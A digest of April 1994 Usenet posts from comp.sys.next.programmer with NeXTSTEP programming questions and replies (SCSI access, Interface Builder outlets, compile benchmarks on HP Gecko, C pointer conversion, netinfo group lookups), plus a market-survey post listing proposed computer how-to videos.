Newsgroups: comp.sys.next.programmer From: georg@artebit.in-berlin.de Subject: postgres on NeXTSTEP Message-ID: <1994Apr18.182208.427@artebit.in-berlin.de> Keywords: postgres, database, gnu Sender: georg@artebit.in-berlin.de Date: Mon, 18 Apr 1994 18:22:08 GMT Has anyone out there compiled Postgres ? :-( Thanks in advance, Georg please reply to georg@artebit.in-berlin.de - thanx
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: Developer Expo talk idea? (TCL and IB) Message-ID: <CoGptE.1B5@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <1994Apr15.021519.459@stone.com> Date: Mon, 18 Apr 1994 16:00:50 GMT I have been pushing for either a Tcl oriented discussion group that has nothing to do with IB (Tcl in IB is too limiting), or, at the very minnimum, a discussion of interpreted environments within NEXTSTEP. b.bum -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
From: vanguard@oar.net (Tyler Gingrich) Newsgroups: comp.sys.next.programmer Subject: Re: Current Beginers surprises using NIB Date: 19 Apr 1994 10:00:42 -0400 Organization: OARnet, Columbus, OH. Message-ID: <2p0o6a$m33@dialup.oar.net> References: <1994Apr19.070633.1349@ares.fdn.org> In article <1994Apr19.070633.1349@ares.fdn.org> gery@ares.fdn.org (Gery Divry) writes: > >For two weeks I try to explain some developpers how to USE NEXTSTEP and >the appkit > >Another mistake is to declare a variable in a class > [Example deleted...] >During Nib loading, the Appkit use the method: >setMyMum:instance >to etablish the connexion. If you define this method on your own and do >not use it to simply set the value of the outlet. You can imagine the >result. > >It was well explained in the first documentation ( 2.2) .... not yet... > >And beginners are falling in the trap all the time. > We have standardized on always using the following method naming convention for instance variable accessors. This allows beginners to totally avoid this IB deep dark hole... - ivSetMyOutlet:anObject; - ivGetMyOutlet; We leave setMyOutlet:anObject and myOutlet for NeXT to use however they like. :-) --- Tyler Gingrich Vanguard Software, Corp.
Newsgroups: comp.sys.next.programmer From: cbarton@DaBoyz.dgcp.doc.ca (Casey Barton) Subject: Where to find GNU C for NSFIP? Message-ID: <1994Apr19.150019.27410@clark.dgim.doc.ca> Sender: news@clark.dgim.doc.ca (#Usenet News) Organization: Communications Canada Date: Tue, 19 Apr 94 15:00:19 GMT What the subject line said. This should be an easy one - but I couldn't find it anywhere. The cs.orst.edu version is for black only, apparently.
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (Gery Divry) Subject: How to get the pos of a Cell in a Text Message-ID: <1994Apr19.132257.1993@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. Date: Tue, 19 Apr 1994 13:22:57 GMT Hello I am using embedded objects inserted in a text ( a special cell) when I click on this cell in the text my delegate receive a message and use it to retreive the id of the cell . how could I get the pos of the cell in the text ( the only method provided give me a NXPoint, not a position) Gery DIVRY ( ZZVolume Daddy ) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 69007 LYON Fax: (+33) 72 80 16 32 France Email: gery@ares.fdn.org Earth, Solar System, Galaxy MW1 NeXT Mail accepted
From: hoymand@inca.gate.net (Dirk Herr-Hoyman) Newsgroups: comp.sys.next.programmer Subject: Better curses package? Date: 19 Apr 1994 10:44:41 -0400 Message-ID: <2p0qop$57d@inca.gate.net> I'm looking for a better curses package to run on NS 3.x. Something that has the bold/underline/reverse video attributes. E-mail me if you know of such a beast. Thanks. -- Dirk Herr-Hoyman | Lake Worth, Florida, USA | hoymand@gate.net | +1.407.540.8309 |
From: philipp@enst.fr (Philippe-Andre Prindeville) Newsgroups: comp.sys.next.programmer Subject: Accessing SCSI devices via Objective-C Date: 19 Apr 1994 18:41:15 +0200 Organization: Telecom Paris (ENST), France Distribution: world Message-ID: <2p11jb$59i@hydre.enst.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi. Quick question: I'm trying to read a CD(DA) using direct SCSI coomands. Currently, I use the ioctl() interface to raw SCSI commands, but this is clunky. Anyone have a user-level program that accesses an SCSI device by using the "executeRequest" method from IOSCSIControllerExported? Another unrelated question: I have a Toshiba XM-3401 that NS 3.2 sometimes has problems grokking. When I load up a CD-DA and change the mode to 2352 byte sectors (ie. CD-DA format), the Workspace.app gets very upset and can't probe the disk for it's type (4.3bsd, Mac, DOS, CD-ROM, or CD-audio). Can this probing be inhibited? It's really annoying... Thanks, -Philip
From: dsdecasp@iiic.ethz.ch (Daniel Stefan Decasper) Newsgroups: comp.sys.next.programmer Subject: Gecko vs NeXTstation color: compiling Draw.app Date: 19 Apr 1994 17:46:01 GMT Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH), Zurich, CH Message-ID: <2p15cp$5dl@neptune.inf.ethz.ch> Summary: Gecko IS fast I tried to compile Draw.app (v48) on both the HP Gecko 712/80 and my good old NeXTstation color (non turbo). Both had 32 MB ram and about the same (~9.5 ms, 1GB) hard disk. NeXTstation color: 8 min 50 s Gecko: 5 min 02 s Comments ? Dan -- ---------------------------------------------------------------------------- = Dan S. Decasper email: dan@fanatic.open.ch or dsdecasp@iiic.ethz.ch = = Uetlibergstr.16 voice: +41-1-4001677 (ISDN) [NeXTMail ok]; = = CH-8142 Uitikon fax: 41-1-4001674 09/24/69 =
From: don@darth.byu.edu (Don Yacktman) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 19 Apr 1994 19:38:07 GMT Distribution: world Message-ID: <2p1buv$lm7@bones.et.byu.edu> References: <2p15cp$5dl@neptune.inf.ethz.ch> Daniel Stefan Decasper writes ) I tried to compile Draw.app (v48) on both the HP Gecko 712/80 and ) my good old NeXTstation color (non turbo). ) Both had 32 MB ram and about the same (~9.5 ms, 1GB) hard disk. ) NeXTstation color: 8 min 50 s ) Gecko: 5 min 02 s ) Comments ? Sure. I would have expected a better performance increase, so one of two things is likely: (1) you're using beta SW and the final speed tweaks aren't done yet, or, and this is more likely, (2) the CPU is faster than the harddrive by such a large factor that the hard drive has become the limiting factor in compilation speed. So a faster hard driver would improve the performance of the compile... Still, that's enough of a performance boost to make me want to get a NS Gecko. :-) Another comment. Doesn't posting info like this violate the beta NDA you have to sign? (Not being a beta site myself I wouldn't know, but it seems like NeXT wouldn't want posts of this nature...) -- Later, -Don Yacktman Don_Yacktman@byu.edu
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Bizarre pb with TextField's selectText: -- HELP please Message-ID: <1994Apr19.150358.3167@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France Date: Tue, 19 Apr 1994 15:03:58 GMT Hi, I have various problems with TextField's selectText: method. What happens is that sometimes the text field (which has background NX_WHITE and foreground NX_BLACK) changes to text and background white. The text is still here, though, because it is selected, and if you scroll it (yes, the TextField is scrollable) it appears again. I tried things like [[[myTextField setStringValue:""] setStringValue:yourValue] selectText:self] without any help. Did you have this problem, and a solution? Thanks in advance, Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
Newsgroups: comp.sys.next.programmer From: ploeger@aplki.toppoint.de (Andreas Ploeger) Subject: Text class and RTFD: including images programmatically Message-ID: <1994Apr19.172108.4711@aplki.toppoint.de> Sender: ploeger@aplki.toppoint.de (Andreas Ploeger) Organization: Andreas Ploeger Date: Tue, 19 Apr 94 17:21:08 GMT From NextDev/GeneralRef/02_ApplicationKit/Classes/Text.rtf: > Programmatic creation of RTFD documents is not supported in this release Oh great, we love the Text class - don't we? Two ideas for a a solution: 1. simulate a drag&drop 2. Put the image on the pasteboard and use [myTextObject paste:sender] I'd prefer the first solution because it wouldn't affect the user's pastboard. Any comments, experiences, code? Thanks, Andreas -- -------------------------------------------------------------------- Andreas Ploeger E-Mail: ploeger@tpki.toppoint.de
Newsgroups: comp.sys.next.programmer From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Message-ID: <CoIxJJ.47L@dvorak.amd.com> Sender: news@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Austin TX References: <2p1buv$lm7@bones.et.byu.edu> Date: Tue, 19 Apr 1994 20:42:53 GMT In article <2p1buv$lm7@bones.et.byu.edu> don@darth.byu.edu (Don Yacktman) writes: >>Daniel Stefan Decasper writes >>) I tried to compile Draw.app (v48) on both the HP Gecko 712/80 and >>) my good old NeXTstation color (non turbo). >>) Both had 32 MB ram and about the same (~9.5 ms, 1GB) hard disk. >>) NeXTstation color: 8 min 50 s >>) Gecko: 5 min 02 s >>) Comments ? >> >>Sure. I would have expected a better performance increase, so one >>of two things is likely: (1) you're using beta SW and the final >>speed tweaks aren't done yet, or, and this is more likely, (2) the >>CPU is faster than the harddrive by such a large factor that the >>hard drive has become the limiting factor in compilation speed. So >>a faster hard driver would improve the performance of the compile... >>Still, that's enough of a performance boost to make me want to get >>a NS Gecko. :-) >> The 712 is singled-ended SCSI-2 (read 5 mb/s max xfer rate). Does this represent a bottleneck ? -- Ronald Pomeroy Advanced Micro Devices CIM Applications Group rpomeroy@aunext1.amd.com
Newsgroups: comp.sys.next.programmer From: ak272@freenet.buffalo.edu (Douglas Boyce) Subject: 3.2 DriverKit Questions [Events] Message-ID: <CoIzpw.Hv9@freenet.buffalo.edu> Sender: nntp@acsu.buffalo.edu Organization: State University of New York At Buffalo, NY (USA) Date: Tue, 19 Apr 1994 21:29:55 GMT Does 3.2 Developer come with code for drivers such as a Mouse or a Tablet. -- Doug Boyce ak272@freenet.acsu.buffalo.edu NeXTmail and MIME welcome
From: bhill@physics.ucla.edu (Brian Hill) Newsgroups: comp.sys.next.programmer Subject: Re: dread for user's background color preference? Date: 19 Apr 1994 18:57:49 GMT Organization: Dept. of Physics, UCLA Distribution: world Message-ID: <BHILL.94Apr19115749@spike.physics.ucla.edu> References: <BHILL.94Apr18154341@spike.physics.ucla.edu> In-reply-to: bhill@physics.ucla.edu's message of 18 Apr 1994 22:43:41 GMT In article <BHILL.94Apr18154341@spike.physics.ucla.edu> bhill@physics.ucla.edu (Brian Hill) writes: > Last week I uploaded the RoachesView BackSpace module. > My first bug report (thanks Stephen Selipsky > (stephen@genesis1.physics.yale.edu)) was that on an > Intel GX/Pro, the user's background color preference > was not being read. > > On color and mono black hardware, > > NXReadDefault("NeXT1", "BackgroundColor") > > or > > NXReadDefault("NeXT1", "BWBackgroundColor") > > picks up the user's preference. A dread -l yields nothing analogous > in Stephen's GX/Pro preferences database. Darcy Brockbank (darcy@wsc.com) suggests that the hardware is a red herring and these these users have just never set set their background color. --Brian Hill
Newsgroups: comp.sys.next.programmer From: csaldanh@mae.carleton.ca (Chris Saldanha) Subject: Re: Internet and NeXT jobs Message-ID: <CoJ406.AqE@cunews.carleton.ca> Sender: news@cunews.carleton.ca (News Administrator) Organization: Carleton University References: <2omj4k$qe6@hamblin.math.byu.edu> Date: Tue, 19 Apr 1994 23:02:30 GMT Sean O. Luke (sean@zapotec.math.byu.edu) wrote: : As the summer sun begins to shine into my window, it occurs to me how many : programmers are out there in my situation: : I'm in a condo with 3 NeXTstations and a SLIP connection on the internet : (i.e., resources) : I'm a fairly good NeXT programmer : I'm going to grad school in September (UCLA) : I'd love to do NeXTSTEP programming for someone over the summer but : can't really leave Provo except possibly to go to LA. :Given the number of "NeXT developer in X metro area wanted" advertisements on :c.s.n.announce or wherever, and the apparent difficulty of finding experienced :NS programmers, I'm somewhat surprised some enterprising individual hasn't :set up a net service providing consultants or programmers to organizations :that need 'em over the internet. :What do you think? It seems to me this is a natural business opportunity... :Why hasn't it been done yet? We could call it PDP (Portable Distributed Programmers) :-) Seriously, though, I think this is a great idea. The whole concept of OOP makes this sort of thing possible, esp. over the Internet. Get a company to call/email you up, and say "Make us a FooBar class that does Foo and Bar and Baz, and we'll write you a check." There are a lot of Hobbyist NeXT programmers out there who are quite qualified to write good, solid apps and/or classes. A major resource, waiting to be tapped... --Chris Chris Saldanha -------------------------------------- Carleton University |"The eternal silence of these infinite| chris@computerActive.on.ca (NeXTMail) | spaces terrifies me." -Blaise Pascal| csaldanh@mae.carleton.ca (NeXT/MIME) ------------------:-o-----------------
From: don@darth.byu.edu (Don Yacktman) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 19 Apr 1994 23:17:22 GMT Distribution: world Message-ID: <2p1oq2$6rq@bones.et.byu.edu> References: <CoIxJJ.47L@dvorak.amd.com> Ron Pomeroy x(Coop) writes ) In article <x> don@darth.byu.edu (Don Yacktman) ) writes: ) >>Daniel Stefan Decasper writes ) >>) I tried to compile Draw.app (v48) on both the HP Gecko 712/80 and ) >>) my good old NeXTstation color (non turbo). ) >>) Both had 32 MB ram and about the same (~9.5 ms, 1GB) hard disk. ) >>) NeXTstation color: 8 min 50 s ) >>) Gecko: 5 min 02 s ) >>) Comments ? ) >> ) >>(2) the ) >>CPU is faster than the harddrive by such a large factor that the ) >>hard drive has become the limiting factor in compilation speed. So ) >>a faster hard driver would improve the performance of the compile... ) >>Still, that's enough of a performance boost to make me want to get ) >>a NS Gecko. :-) ) ) The 712 is singled-ended SCSI-2 (read 5 mb/s max xfer rate). Does this ) represent a bottleneck ? Not necessarily--and probably not if you actually got that rate out of the hardware. But do you get that kind of transfer rate? Remember that NeXT has categorically avoided updating their SCSI driver since the old days, meaning that you can only do async (SCSI-1) transfers, and no synchronous or SCSI-2 commands. Even black hardware has this problem. They called it a SCSI-2 port, but it is really SCSI-1 as far as the protocols used...just the connector isn't a standard Centronics 50-pin, that's the only difference. Without the software support, you take a BIG performance hit--and there's no real excuse for it. So, unless NeXT has fixed their SCSI driver (doubtful) you probably only get a 1MB/s transfer rate (on the good days). So to rephrase my point about the disk being slow: It's probably not the disk itself but the damn slow NeXT Mach SCSI driver that needs fixing _bad_ that is the bottleneck. On an 040 machine, the CPU is slow enough you don't notice this as much. On a Gecko, you certainly do notice. I hope NeXT has adds synchronous transfer to the SCSI driver in all versions of NS but I have yet to see any verification of this and until I see it I won't believe it. (They've taken far too long as it is; it would take God coming down from heaven and commanding the change for anything to get fixed, though. Maybe he already did: "You WILL support synchronous transfers or be stricken with bad marketing for the rest of your days.") As long as we are ragging on stupid things they could fix in the guts of the system that would provide visible improvements up top, there's no reason why they couldn't fix the swap file and let it shrink. If they spout "technical reasons" one more time I'll start spouting back: "Write the code properly the first time and you won't be stuck with stupid limitations. Go fix it anyway! Now!" There's no need to put up with substandard software--especially from a company that has so many bright minds gathered under one roof. (The same sort of argument works against NeXT's competitors, too- perhaps even more seriously. I mean, look at all the resources MicroSloth has, and what's the best they can turn out? NT? DOS? Hah!) -- Later, -Don Yacktman Don_Yacktman@byu.edu
Newsgroups: comp.sys.next.programmer From: keithw@fiji.umhc.umn.edu (Keith Willard) Subject: Re: How to get the REAL USER NAME Message-ID: <CoIvn1.8t0@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota, Twin Cities Distribution: comp Date: Tue, 19 Apr 1994 20:04:24 GMT > Don't know if anything was actually broken. > > man 2 getgroups (pay close attention to gid_t gidset[]) > > To my knowledge there is no need to use netinfo directly when > attempting to get user/group information. Most unix code wouldn't > work if that wasn't the case. > perhaps someone could comment on why i had a problem with getgroups, this was the scenario: network user accounts were setup using either user manager or netinfo manager with typically at least 6 group memberships. the process that needed to get the group information was a setuid process with the effective uid different from the real uid (with the desired group info needed about the effective id). under these circumstances getgroups gave me back at least one (and maybe 2) of the desired groups in its array but would not give me the entire list that was visibile in netinfo. in looking back at the code involved it one of the other reasons why i used the netinfo c api was that, while a little awkward to get to know, i could be sure i was retrieving the account info i wanted from the "right" machine/domain regardless of where the app needing the info was running. ---------------------------------- Keith Willard Laboratory Medicine and Pathology University of Minnesota <keithw@tahiti.umhc.umn.edu>
Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.misc From: jaime@afs.com (Jaime Guerrero) Subject: Seeking info on ISDN connectivity Message-ID: <1994Apr18.172437.2133@afs.com> Sender: jaime@afs.com Date: Mon, 18 Apr 1994 17:24:37 GMT Since a number of service providers offer internet connectivity using ISDN connections rather than modems, and ISDN is dramatically faster (128 kbps) and more suited to digital communication, I am investigating the its on black NeXT hardware. Does anyone have experience using the "Hayes ISDN extender for NeXT computers" device? The Hayes people tell me that device-driver software to use the extender is supplied as part of NEXTSTEP. Is it still there, or is it a part of the now-defunct (?) PhoneKit? My specific application is to use an extender talking to an ISDN port of an internet service provider (such as PSI) and use TCP/IP over that connection to get full interactive internet services. -- Jaime Guerrero "Verbing weirds language." Anderson Financial Systems Inc. Springhouse, Pennsylvania, USA jaime@afs.com [NeXTmail ok]
Newsgroups: comp.sys.next.programmer From: jaime@afs.com (Jaime Guerrero) Subject: Re: List and char *'s Message-ID: <1994Apr18.181820.2209@afs.com> Sender: jaime@afs.com References: <2oila3$k2@nic-nac.CSU.net> Date: Mon, 18 Apr 1994 18:18:20 GMT In article <2oila3$k2@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) writes: > In article <1994Apr11.145022.2903@afs.com> jaime@afs.com > (Jaime Guerrero) writes: > >Actually, all addresses are the same size in C regardless of to what the > >address points. > > True for the C compiler currently shipped by NeXT. > Very much FALSE in The Real World. > > -=EPS=- > -- > And if you think different pointer types are interchangeable, > you've never programmed Data General machines where casts > actually generate conversion code. Allow me to rephrase my statement more precisely: A pointer to any type of object (including an Object) can be converted to a void * (causing hidden conversions if necessary, as in the Data General machine), stored in sizeof(void *) bytes, retrieved, converted back to the original pointer type, and dereferenced. To quote K&R 2nd ed: section A6.6 "It is guaranteed that a pointer to an object may be converted to a pointer to an object whose type requires less or equally strict storage alignment and back again without change;" section A6.8 "Any pointer to an object may be converted to type void * without loss of information. If the result is converted back to the original pointer type, the original pointer is recovered". Therefore, it is possible to design a data structure (such as the variant of List discussed in this thread) which is able to store pointers to any type of object. Note that on DG machines, and Intel processors in certain modes, when unusual pointers are employed, they are converted automatically by code provided by the C compiler when assigned and from other pointer types so as to make their unusual size transparent. Special maneuvers are also required on hardware that supports pointers into the processor's register file. In such cases, any reference to an object's address causes the compiler to abandon efforts to be clever with its storage. note: "object" as used above means "a named region of storage" (K&R 2nd ed, section A5). "Object" means any instance of an Objective-C class. -- Jaime Guerrero "Verbing weirds language." Anderson Financial Systems Inc. Springhouse, Pennsylvania, USA jaime@afs.com [NeXTmail ok]
From: john@nomad.phys.lsu.edu (John Woodward) Newsgroups: comp.sys.next.programmer Subject: Re: Internet and NeXT jobs Date: 20 Apr 1994 02:08:33 GMT Organization: Louisiana State University, Baton Rouge Message-ID: <2p22r1$1eh6@te6000.otc.lsu.edu> References: <2omj4k$qe6@hamblin.math.byu.edu> <CoJ406.AqE@cunews.carleton.ca> In article <CoJ406.AqE@cunews.carleton.ca>, Chris Saldanha <csaldanh@mae.carleton.ca> wrote: >Sean O. Luke (sean@zapotec.math.byu.edu) wrote: > >: As the summer sun begins to shine into my window, it occurs to me how many >: programmers are out there in my situation: > >: I'm in a condo with 3 NeXTstations and a SLIP connection on the internet >: (i.e., resources) >: I'm a fairly good NeXT programmer >: I'm going to grad school in September (UCLA) >: I'd love to do NeXTSTEP programming for someone over the summer but >: can't really leave Provo except possibly to go to LA. > > <snip> > >:What do you think? It seems to me this is a natural business opportunity... >:Why hasn't it been done yet? > >We could call it PDP (Portable Distributed Programmers) :-) > >Seriously, though, I think this is a great idea. The whole concept of OOP >makes this sort of thing possible, esp. over the Internet. >Get a company to call/email you up, and say "Make us a FooBar class that >does Foo and Bar and Baz, and we'll write you a check." > >There are a lot of Hobbyist NeXT programmers out there who are quite >qualified to write good, solid apps and/or classes. A major resource, >waiting to be tapped... > I agree wholeheartedly. I would like nothing better at this point in time than you start writing NeXT software and be paid for it, whether I'm here in my house of off at a site. Almost had a deal like that, but it looks like that one dried up. Sigh... Hopefully, some of my other contacts will work out. For anybody out there who needs some programming done, just say the word and I'm sure a number of us will jump at the chance! We have network access, and the resources available. john -- - john@nomad.phys.lsu.edu
Newsgroups: comp.sys.next.programmer From: sngmedia@world.std.com Subject: MARKET SURVEY Message-ID: <CoJIEJ.qo@world.std.com> Organization: The World Public Access UNIX, Brookline, MA Date: Wed, 20 Apr 1994 04:13:29 GMT We are a small, dedicated group of people desperately trying to get a video production company off the ground. Recently, we secured enough financial backing to produce several videos on the subject of personal computing. Because we don't have the financial resources to perform a traditional market analysis, we considered several alternatives and concluded that we should consult the people of the Internet, who are technically proficient and tend to be enthusiastic personal computer users. We would like you to indicate which three of the below described videos would appeal to you most. Please note that each video synopsis is numbered. When you are ready to send your response, please specify the numbers corresponding to your three video selections, and use commas to separate the numbers. For example, if you choose selections four, eight, and eleven, the body of your letter would simply be: 4,8,11 and nothing more. When you send back your response, please specify "MARKET SURVEY" in the subject field. Then, direct your response back to sngmedia@world.std.com. Please realize that this is not an advertisement, or solicitation. We simply would like to know your response. You will not be contacted further. Thank you in advance for your help and cooperation. Tom and Randi Fecker sngmedia@world.std.com. Please select three videos that interest you most: 1. The Internet Pilot's Guide A plain English guide to getting around on the Internet by veteran users. How to use Internet resources to send/receive e-mail, and to search for documents and files relating to a particular subject. How to use LISTSERVs, GOPHER, ARCHIE, WWW and WAIS. How to use FTP and Telnet to access remote computers for file transfers, remote logins, etc. Also, learning how to observe Internet's "netiquette." And how to access multimedia Mosaic bulletin boards. 2. How to Make Money at Home With Your PC I -- Successful PC-Based Businesses Meet five successful entrepreneurs who started their own home-based businesses using a PC. Includes businesses that provide typing services, mailing list management, horoscopes, bookkeeping, and even a software developer who does not know how to program -- he hires other people to implement his software designs. Includes ideas for two dozen home-based businesses you can start using your PC. 3. How to Make Money at Home With Your PC II: Portfolio Management. Whether you manage your own portfolio for investment gains, or you take on clients for a consulting fee, a PC can give you powerful tools for portfolio management. Meet three successful home-based portfolio managers who use their PCs to maximize profits. They'll inspire you, and share some tricks of the trade that can help you land clients and get started. We'll also show you how to determine which software applications will meet your needs, and which online services will satisfy your requirements. 4. How to Make Money at Home With Your PC III: Telecommuting Learn how to use your PC to telecommute to companies across America that are looking for specialized consultants with skills like bookkeeping, software design and programming, editorial and script writing, technical proofreading, graphic design, copywriting, and more. Includes interviews with three successful telecommuters who use their PCs, faxes, modems and phones to serve distant clients, and information about a telecommuting referral service that could help you find employers. 5. How to Upgrade Your Hard Drive, Step-By-Step From choosing your new hard drive, through ordering, installing and testing it. This plain English video shows you how to do the job correctly, one simple step at a time. Using industry-wide standards, we'll show you what all hard drives have in common. Includes how to determine if your controller will support a particular hard drive. How to remove the old drive, and install, format and test the new drive. Includes a discussion on the differences between the various standards. 6. How to Design Your Own PC You don't have to be an engineer to design and build the PC of your dreams. This plain English video shows you how to figure out the PC design that is best for you, how to specify components, how to make sure they'll work together, and where to buy them. You'll end up with a top quality system that will save you money. 7. How to Build Your Own PC Once you've designed your PC, we'll show you how to build it. The actual process will take you only a few hours. Using an easy-to- understand method, we'll show you how to inspect, install and test components. Includes tips and tricks from computer production experts. The technical skills can be easily mastered by almost anyone, and you probably already own most of the tools you would need. 8. How to Increase Your Computer's Memory This plain English video shows you how to determine whether your computer memory can be increased, and how to do the job correctly, one step at a time. You'll learn about industry-wide standards for memory, how to configure additional RAM and cache, how and where to buy RAM chips, and three ways to eliminate low-quality RAM chips. Covers all phases of the process from opening your computer, to testing your memory. Includes discussions on how to ensure your DOS set-up is able to access all available memory, and how to use various memory management software applications. 9. How to Use MS-Windows 3.1 This powerful graphical user interface can help you work smarter and faster, but the manual and the online tutorial that come with Windows leave many questions unanswered. This plain English, step- by-step video will show you how to install Windows on your computer and set it up to get optimum performance. 10. How to Find a Job in the Information Age A PC can give you an incredible advantage when you're searching for a new job -- or even a new career. But you have to know just how it can help you. In this video, an experienced employment counselor will show you how to tap the power in your PC to find job leads, create a winning resume and customized cover letters, tap into databases and find bulletin boards that will lead you to job openings, and use online services to research potential employers. 11. How to Install a Sound Card in Your Computer Here's how to add incredible stereo sound to your computer with step-by-step help. In plain English, you'll learn how to determine if your computer can support a sound card, how and where to buy a high-quality sound card. How to open your computer, and install and test the sound card. 12. How to Install a CD-ROM Drive in Your Computer Using simple tools, this plain English video shows you how to install a CD-ROM Drive in your computer. You'll learn how to make sure your computer can support a CD-ROM drive -- and what to do if it can't. Covers internal vs. external drives, how and where to buy a high quality CD-ROM drive, what you need to know about differing industry standards, preparing the drive bay, testing and trouble-shooting. Covers SCSI and IDE. 13. How to Fix the Most Common Computer Problems Your computer serviceman may not want you to know this, but all you need is the know-how you'll get from this video, simple tools, and easily-obtainable diagnostic software -- and you can fix most common problems you'll ever encounter with a PC. 14. What to Do When a Virus Strikes Your Computer Viruses can come from almost anywhere: a colleague or friend's disks, a network, a bulletin board, even commercial software. If you ignore the first warning signs, a virus can wipe out your data and permanently damage your computer's memory. In plain English, this video will tell you how to scan disks for viruses, how to check downloaded files from bulletin boards, how to set up a virus prevention program for your home or office computer, and how and where to buy the best anti-virus software. We'll also cover the pros and cons of the antivirus software in DOS 6.X and Windows 3.X, how to use antivirus software, and more. 15. How Your PC Works: Inside the Case Here's a down-to-earth explanation of how your PC actually processes information, and what really goes on inside the case. You'll get a guided tour of the insides of a PC, learn about how the various components work and how they communicate with each other, and get a clear explanation of technical terms. A must for anyone who wants to really understand how to program, use and repair a PC. 16. How to Create Config.Sys, Autoexec.Bat and Batch Files These basic files can make it much easier to use your computer -- or cause incredible headaches if they are not written properly for your particular software and peripherals. Now you don't have to be at the mercy of murky tech manuals, because we'll show you how to create files that work for your system -- step-by-step, in plain English. You'll learn how to write, modify and test Autoexec.Bat and Config.Sys files; and how to create batch files. 17. How to Add a Modem or Faxmodem to Your Computer Here's the easy way to add a modem or faxmodem to your computer, with step-by-step guidance from this plain English video. You'll learn how to determine if your computer can support a modem or faxmodem, and what to do if it can't, how to choose and buy the best modem or faxmodem, how to open your computer, and install the modem or faxmodem, how to test it, how to quickly eliminate common problems, and how to set your modem or faxmodem correctly. 18. How to Make Money at Home With Your Computer The information age is opening up incredible new opportunities for PC owners to make undreamed of money, using skills and knowledge you may already have! Here's inside information on the ten most promising telecommuting jobs and 12 small businesses you can run right from your home, using your PC. Includes profiles of PC owners who are actually running PC-based home businesses. 19. The Super-Highway Roadmap This is your guide to where to go and what to see. You can make incredible contacts and gather powerful, valuable information on the Internet, but the problem is that most people can't begin to imagine the potential of something that seems so abstract. This plain English video will introduce you to the Internet, and make these opportunities concrete. Includes interviews with 7 people who did the impossible by gathering information and making contacts on the Internet. 20. How to Upgrade and Repair Your PC I: Basic This is the video your repairman doesn't want you to know about! Since the components of most PCs are highly modular, PC repair is easier than you think. Just pinpoint the problem component, unplug it, remove a few screws, replace it, and presto! You're in business again. This step-by-step video shows you how to pinpoint problems and replace your PC's components, using ordinary household tools. 21. How to Upgrade and Repair Your PC II: Multimedia Here's how to save big money on a PC with all the latest multimedia peripherals. You learn how to determine if your PC can be upgraded, how to upgrade your video card and bus, and how to add a CD-ROM drive, sound card, video accelerator, and more. Presented in plain English. The procedures you'll learn require ordinary household tools -- nothing fancy! 22. Plain English Guide to DOS 6+. The powerful sub-programs buried deep within DOS 6.0 and higher can help you work smarter and faster, but the manual and the online tutorial that come with DOS leave many questions unanswered. This plain English, step-by-step video will show you how to install DOS on your computer and set it up to get optimum performance. In addition to DOS commands, you'll learn how to use the shell, defragmentation, scan and antivirus programs that come with DOS. 23. Home Financial Management on a PC. Your computer can help you create and manage a budget, keep track of your credit card accounts, handle your tax deductions, and reconcile your bank accounts. But that's not all! You can also determine whether you should pay down your mortgage, finance a new car or pay cash, buy or rent your home, and how much you'll need for retirement. The financial information your computer can give you might mean the difference between just getting by and a very comfortable lifestyle -- if you ask the right questions and use your PC to develop a financial strategy. 24. The Online Bulletin Board Guide Bulletin boards can be the on-ramps to the Information Super Highway -- if you know how to access and use them. This step-by- step guide shows you how to find bulletin boards, set-up your modem, log on, find out what they have to offer, find bulletin board users who share your interests, search for information, and upload and download files. Thank you.
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Default Open App In-Reply-To: bhill@physics.ucla.edu's message of 19 Apr 1994 04:29:03 GMT To: bhill@physics.ucla.edu (Brian Hill) Message-ID: <CEDMAN.94Apr19100257@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <2ovftb$h9v@master.cs.rose-hulman.edu> <BHILL.94Apr18212903@spike.physics.ucla.edu> Date: Tue, 19 Apr 1994 14:02:57 GMT In article <BHILL.94Apr18212903@spike.physics.ucla.edu> bhill@physics.ucla.edu (Brian Hill) writes: > I am wondering what the command is to set my default open app to be > something besides Edit.app. (i.e. Emacs) In Emacs.app, get the Preferences panel, and check "Be default open app." But then of course, who is still using that old app when the native port of Emacs 19 to NS will be out this weekend (baring unforeseeable circumstances) ? Carl Edman
